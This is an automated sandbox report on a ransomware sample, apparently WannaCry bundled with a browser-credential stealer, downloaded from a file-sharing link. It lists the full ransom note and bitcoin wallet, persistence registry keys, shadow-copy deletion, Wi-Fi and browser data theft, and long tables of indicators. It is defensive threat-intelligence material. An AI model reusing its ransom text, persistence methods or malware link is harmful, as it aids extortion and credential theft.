wannacry | hxxp://mediafire[.]com/file/bdgpo14sosik63b/Swift[.]zip/file

Analysis

max time kernel
299s
max time network
291s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-01-2025 22:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://mediafire.com/file/bdgpo14sosik63b/Swift.zip/file

Score

10^/10

wannacry defense_evasion discovery execution impact persistence privilege_escalation pyinstaller ransomware spyware stealer upx worm

Malware Config

Extracted

Path

C:\Users\Admin\Downloads\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Wannacry family
wannacry
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Downloads MZ/PE file

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD80EB.tmp	WannaCry.EXE
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD80F2.tmp	WannaCry.EXE

Executes dropped EXE 30 IoCs

pid	Process
4676	main.exe
4760	Swift.exe
4536	main.exe
956	main.exe
2280	main.exe
4668	Swift.exe
1216	WannaCry.EXE
4688	taskdl.exe
4376	WannaCry.EXE
4456	@[email protected]
5820	@[email protected]
1720	taskhsvc.exe
5600	taskdl.exe
5616	taskse.exe
5636	@[email protected]
5152	taskdl.exe
6128	taskse.exe
5172	@[email protected]
5616	taskse.exe
2808	@[email protected]
5712	taskdl.exe
3552	taskse.exe
1380	@[email protected]
456	taskdl.exe
3788	@[email protected]
5764	taskse.exe
5224	taskdl.exe
1356	taskse.exe
4376	@[email protected]
5288	taskdl.exe

Loads dropped DLL 64 IoCs

pid	Process
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
2280	main.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
8	icacls.exe
5396	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\empyrean = "C:\\Users\\Admin\\AppData\\Roaming\\empyrean\\run.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\empyrean = "C:\\Users\\Admin\\AppData\\Roaming\\empyrean\\run.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\laliykmzxf220 = "\"C:\\Users\\Admin\\Downloads\\tasksche.exe\""	reg.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 13 IoCs

Web Service

T1102

flow	ioc
167	raw.githubusercontent.com
168	discord.com
193	discord.com
215	camo.githubusercontent.com
4	mediafire.com
151	discord.com
154	raw.githubusercontent.com
166	discord.com
216	camo.githubusercontent.com
228	raw.githubusercontent.com
229	raw.githubusercontent.com
150	discord.com
153	raw.githubusercontent.com

Looks up external IP address via web service 9 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
165	ipapi.co
180	ipapi.co
182	ipapi.co
186	ipapi.co
148	ipapi.co
161	ipapi.co
163	ipapi.co
149	ipapi.co
159	ipapi.co

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	WannaCry.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023da4-336.dat	upx
behavioral1/memory/4536-340-0x00007FFD5FA30000-0x00007FFD60095000-memory.dmp	upx
behavioral1/files/0x0007000000023d9a-347.dat	upx
behavioral1/files/0x0007000000023d7a-352.dat	upx
behavioral1/files/0x0007000000023d82-371.dat	upx
behavioral1/memory/4536-375-0x00007FFD60590000-0x00007FFD605B7000-memory.dmp	upx
behavioral1/memory/4536-374-0x00007FFD5F9E0000-0x00007FFD5FA0B000-memory.dmp	upx
behavioral1/memory/4536-373-0x00007FFD5FA10000-0x00007FFD5FA29000-memory.dmp	upx
behavioral1/memory/4536-372-0x00007FFD6CDD0000-0x00007FFD6CDDF000-memory.dmp	upx
behavioral1/files/0x0007000000023d80-369.dat	upx
behavioral1/files/0x0007000000023d7f-368.dat	upx
behavioral1/files/0x0007000000023d7e-367.dat	upx
behavioral1/files/0x0007000000023d7d-366.dat	upx
behavioral1/files/0x0007000000023d7c-365.dat	upx
behavioral1/files/0x0007000000023d7b-364.dat	upx
behavioral1/files/0x0007000000023d79-363.dat	upx
behavioral1/files/0x0007000000023d78-362.dat	upx
behavioral1/files/0x0007000000023d77-361.dat	upx
behavioral1/files/0x0007000000023d74-360.dat	upx
behavioral1/files/0x0007000000023dc0-358.dat	upx
behavioral1/files/0x0007000000023dbf-357.dat	upx
behavioral1/files/0x0007000000023da9-356.dat	upx
behavioral1/files/0x0007000000023da2-355.dat	upx
behavioral1/files/0x0007000000023d9b-354.dat	upx
behavioral1/files/0x0007000000023d99-353.dat	upx
behavioral1/files/0x0007000000023d75-350.dat	upx
behavioral1/files/0x0007000000023d76-346.dat	upx
behavioral1/memory/4536-380-0x00007FFD5F9A0000-0x00007FFD5F9D6000-memory.dmp	upx
behavioral1/memory/4536-378-0x00007FFD6BB60000-0x00007FFD6BB6F000-memory.dmp	upx
behavioral1/memory/4536-384-0x00007FFD65CA0000-0x00007FFD65CAD000-memory.dmp	upx
behavioral1/memory/4536-386-0x00007FFD5F980000-0x00007FFD5F994000-memory.dmp	upx
behavioral1/memory/4536-385-0x00007FFD5F440000-0x00007FFD5F973000-memory.dmp	upx
behavioral1/memory/4536-391-0x00007FFD5F310000-0x00007FFD5F3DE000-memory.dmp	upx
behavioral1/memory/4536-390-0x00007FFD5F3E0000-0x00007FFD5F413000-memory.dmp	upx
behavioral1/memory/4536-392-0x00007FFD5FA30000-0x00007FFD60095000-memory.dmp	upx
behavioral1/memory/4536-389-0x00007FFD628E0000-0x00007FFD628ED000-memory.dmp	upx
behavioral1/memory/4536-388-0x00007FFD5F420000-0x00007FFD5F439000-memory.dmp	upx
behavioral1/memory/4536-416-0x00007FFD5F2C0000-0x00007FFD5F30B000-memory.dmp	upx
behavioral1/memory/4536-417-0x00007FFD5F2A0000-0x00007FFD5F2B8000-memory.dmp	upx
behavioral1/memory/4536-418-0x00007FFD5F290000-0x00007FFD5F29B000-memory.dmp	upx
behavioral1/memory/4536-419-0x00007FFD5F260000-0x00007FFD5F288000-memory.dmp	upx
behavioral1/memory/4536-420-0x00007FFD5F1A0000-0x00007FFD5F253000-memory.dmp	upx
behavioral1/memory/4536-422-0x00007FFD5F440000-0x00007FFD5F973000-memory.dmp	upx
behavioral1/memory/4536-424-0x00007FFD5F980000-0x00007FFD5F994000-memory.dmp	upx
behavioral1/memory/4536-425-0x00007FFD74C60000-0x00007FFD74C6B000-memory.dmp	upx
behavioral1/memory/4536-438-0x00007FFD5F2A0000-0x00007FFD5F2B8000-memory.dmp	upx
behavioral1/memory/4536-439-0x00007FFD5EF40000-0x00007FFD5EF4C000-memory.dmp	upx
behavioral1/memory/4536-445-0x00007FFD5F170000-0x00007FFD5F195000-memory.dmp	upx
behavioral1/memory/4536-446-0x00007FFD5EED0000-0x00007FFD5EEE6000-memory.dmp	upx
behavioral1/memory/4536-444-0x00007FFD5EEF0000-0x00007FFD5EEFC000-memory.dmp	upx
behavioral1/memory/4536-443-0x00007FFD5EF00000-0x00007FFD5EF12000-memory.dmp	upx
behavioral1/memory/4536-442-0x00007FFD5EF20000-0x00007FFD5EF2D000-memory.dmp	upx
behavioral1/memory/4536-441-0x00007FFD5EF30000-0x00007FFD5EF3B000-memory.dmp	upx
behavioral1/memory/4536-440-0x00007FFD5F260000-0x00007FFD5F288000-memory.dmp	upx
behavioral1/memory/4536-437-0x00007FFD5EF50000-0x00007FFD5EF5B000-memory.dmp	upx
behavioral1/memory/4536-436-0x00007FFD5EF60000-0x00007FFD5EF6B000-memory.dmp	upx
behavioral1/memory/4536-435-0x00007FFD5EF70000-0x00007FFD5EF7C000-memory.dmp	upx
behavioral1/memory/4536-434-0x00007FFD74B90000-0x00007FFD74B9E000-memory.dmp	upx
behavioral1/memory/4536-433-0x00007FFD5EF80000-0x00007FFD5EF8D000-memory.dmp	upx
behavioral1/memory/4536-432-0x00007FFD5EF90000-0x00007FFD5EF9C000-memory.dmp	upx
behavioral1/memory/4536-431-0x00007FFD5EFA0000-0x00007FFD5EFAB000-memory.dmp	upx
behavioral1/memory/4536-430-0x00007FFD5F310000-0x00007FFD5F3DE000-memory.dmp	upx
behavioral1/memory/4536-429-0x00007FFD5EFB0000-0x00007FFD5EFBC000-memory.dmp	upx
behavioral1/memory/4536-428-0x00007FFD5EFC0000-0x00007FFD5EFCB000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000300000000070b-205.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 18 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Swift.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WannaCry.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WannaCry.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Swift.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhsvc.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 12 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3124	netsh.exe
3196	cmd.exe
3272	netsh.exe
3836	cmd.exe
1916	cmd.exe
3204	cmd.exe
1404	netsh.exe
1444	cmd.exe
916	netsh.exe
1268	cmd.exe
3632	netsh.exe
860	netsh.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	msedge.exe

Modifies registry key 1 TTPs 5 IoCs

Modify Registry

T1112

pid	Process
4928	reg.exe
3076	reg.exe
1356	reg.exe
4140	reg.exe
5828	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 953597.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
3128	msedge.exe
3128	msedge.exe
4076	msedge.exe
4076	msedge.exe
4900	identity_helper.exe
4900	identity_helper.exe
5088	msedge.exe
5088	msedge.exe
4536	main.exe
4536	main.exe
4536	main.exe
4536	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
2280	main.exe
3836	msedge.exe
3836	msedge.exe
5728	msedge.exe
5728	msedge.exe
5728	msedge.exe
5728	msedge.exe
1720	taskhsvc.exe
1720	taskhsvc.exe
1720	taskhsvc.exe
1720	taskhsvc.exe
1720	taskhsvc.exe
1720	taskhsvc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 27 IoCs

pid	Process
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	main.exe
Token: SeIncreaseQuotaPrivilege	5000	WMIC.exe
Token: SeSecurityPrivilege	5000	WMIC.exe
Token: SeTakeOwnershipPrivilege	5000	WMIC.exe
Token: SeLoadDriverPrivilege	5000	WMIC.exe
Token: SeSystemProfilePrivilege	5000	WMIC.exe
Token: SeSystemtimePrivilege	5000	WMIC.exe
Token: SeProfSingleProcessPrivilege	5000	WMIC.exe
Token: SeIncBasePriorityPrivilege	5000	WMIC.exe
Token: SeCreatePagefilePrivilege	5000	WMIC.exe
Token: SeBackupPrivilege	5000	WMIC.exe
Token: SeRestorePrivilege	5000	WMIC.exe
Token: SeShutdownPrivilege	5000	WMIC.exe
Token: SeDebugPrivilege	5000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5000	WMIC.exe
Token: SeRemoteShutdownPrivilege	5000	WMIC.exe
Token: SeUndockPrivilege	5000	WMIC.exe
Token: SeManageVolumePrivilege	5000	WMIC.exe
Token: 33	5000	WMIC.exe
Token: 34	5000	WMIC.exe
Token: 35	5000	WMIC.exe
Token: 36	5000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5000	WMIC.exe
Token: SeSecurityPrivilege	5000	WMIC.exe
Token: SeTakeOwnershipPrivilege	5000	WMIC.exe
Token: SeLoadDriverPrivilege	5000	WMIC.exe
Token: SeSystemProfilePrivilege	5000	WMIC.exe
Token: SeSystemtimePrivilege	5000	WMIC.exe
Token: SeProfSingleProcessPrivilege	5000	WMIC.exe
Token: SeIncBasePriorityPrivilege	5000	WMIC.exe
Token: SeCreatePagefilePrivilege	5000	WMIC.exe
Token: SeBackupPrivilege	5000	WMIC.exe
Token: SeRestorePrivilege	5000	WMIC.exe
Token: SeShutdownPrivilege	5000	WMIC.exe
Token: SeDebugPrivilege	5000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5000	WMIC.exe
Token: SeRemoteShutdownPrivilege	5000	WMIC.exe
Token: SeUndockPrivilege	5000	WMIC.exe
Token: SeManageVolumePrivilege	5000	WMIC.exe
Token: 33	5000	WMIC.exe
Token: 34	5000	WMIC.exe
Token: 35	5000	WMIC.exe
Token: 36	5000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeSecurityPrivilege	556	WMIC.exe
Token: SeTakeOwnershipPrivilege	556	WMIC.exe
Token: SeLoadDriverPrivilege	556	WMIC.exe
Token: SeSystemProfilePrivilege	556	WMIC.exe
Token: SeSystemtimePrivilege	556	WMIC.exe
Token: SeProfSingleProcessPrivilege	556	WMIC.exe
Token: SeIncBasePriorityPrivilege	556	WMIC.exe
Token: SeCreatePagefilePrivilege	556	WMIC.exe
Token: SeBackupPrivilege	556	WMIC.exe
Token: SeRestorePrivilege	556	WMIC.exe
Token: SeShutdownPrivilege	556	WMIC.exe
Token: SeDebugPrivilege	556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	556	WMIC.exe
Token: SeRemoteShutdownPrivilege	556	WMIC.exe
Token: SeUndockPrivilege	556	WMIC.exe
Token: SeManageVolumePrivilege	556	WMIC.exe
Token: 33	556	WMIC.exe
Token: 34	556	WMIC.exe
Token: 35	556	WMIC.exe
Token: 36	556	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe
4076	msedge.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
4456	@[email protected]
4456	@[email protected]
5820	@[email protected]
5820	@[email protected]
5636	@[email protected]
5636	@[email protected]
5172	@[email protected]
2808	@[email protected]
1380	@[email protected]
3788	@[email protected]
4376	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 4788	4076	msedge.exe	84
PID 4076 wrote to memory of 4788	4076	msedge.exe	84
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 2012	4076	msedge.exe	85
PID 4076 wrote to memory of 3128	4076	msedge.exe	86
PID 4076 wrote to memory of 3128	4076	msedge.exe	86
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87
PID 4076 wrote to memory of 3328	4076	msedge.exe	87

